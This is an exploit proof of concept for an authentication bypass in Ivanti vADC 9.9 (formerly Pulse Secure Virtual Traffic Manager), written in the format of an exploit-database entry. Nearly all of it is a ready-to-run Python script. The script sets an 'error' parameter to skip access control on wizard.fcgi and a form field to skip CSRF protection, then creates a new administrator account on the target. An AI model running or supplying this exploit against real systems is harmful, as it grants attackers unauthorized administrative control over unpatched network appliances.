Ivanti ADC 9.9 Authentication Bypass

# Exploit Title: Ivanti vADC 9.9 – Authentication Bypass
# Date: 2024-08-03
# Exploit Author: ohnoisploited
# Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller
# Software Link: https://hubgw.docker.com/r/pulsesecure/vtm
# Version: 9.9
# Tested on: Linux
# Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC
# Fixed versions: 22.7R2+

import requests

# Set to target address
admin_portal = ‘https://192.168.88.130:9090’

# User to create
new_admin_name = ‘newadmin’
new_admin_password = ‘newadmin1234’

requests.packages.urllib3.disable_warnings()
session = requests.Session()

# Setting ‘error’ bypasses access control for wizard.fcgi.
# wizard.fcgi can load any section in the web interface.
params = { ‘error’: 1,
‘section’: ‘Access Management:LocalUsers’ }

# Create new user request
# _form_submitted to bypass CSRF
data = { ‘_form_submitted’: ‘form’,
‘create_user’: ‘Create’,
‘group’: ‘admin’,
‘newusername’: new_admin_name,
‘password1’: new_admin_password,
‘password2’: new_admin_password }

# Post request
r = session.post(admin_portal + “/apps/zxtm/wizard.fcgi”, params=params, data=data, verify=False, allow_redirects=False)

# View response
content = r.content.decode(‘utf-8’)
print(content)

if r.status_code == 200 and ‘<title>2<‘ in content:
print(“New user request sent”)
print(“Login with username ‘” + new_admin_name + “‘ and password ‘” + new_admin_password + “‘”)
else:
print(“Unable to create new user”)